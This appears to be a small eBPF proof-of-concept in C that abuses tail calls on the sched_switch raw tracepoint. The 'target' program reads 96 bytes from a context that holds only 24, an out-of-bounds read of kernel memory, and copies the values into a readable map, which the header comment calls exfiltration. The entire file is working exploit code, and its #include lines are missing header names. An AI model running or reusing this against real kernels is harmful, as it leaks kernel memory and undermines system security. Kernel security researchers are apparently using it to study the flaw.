// SPDX-License-Identifier: GPL-2.0 /* Modified for verification: target exfiltrates the 96 bytes it reads via `out`. * sched_switch raw_tp has 3 args = 24 bytes; indices >= 3 are OOB. */ #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 12); __type(key, __u32); __type(value, __u64); } out SEC(".maps"); __u64 sink; SEC("raw_tracepoint/sched_switch") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("raw_tracepoint/sched_switch") int target(void *ctx) /* max_ctx_offset = 96; sched_switch has 3 args */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 0; i < 12; i++) { __u32 k = i; __u64 v = a[i]; sink += v; bpf_map_update_elem(&out, &k, &v, BPF_ANY); } return 0; } char LICENSE[] SEC("license") = "GPL";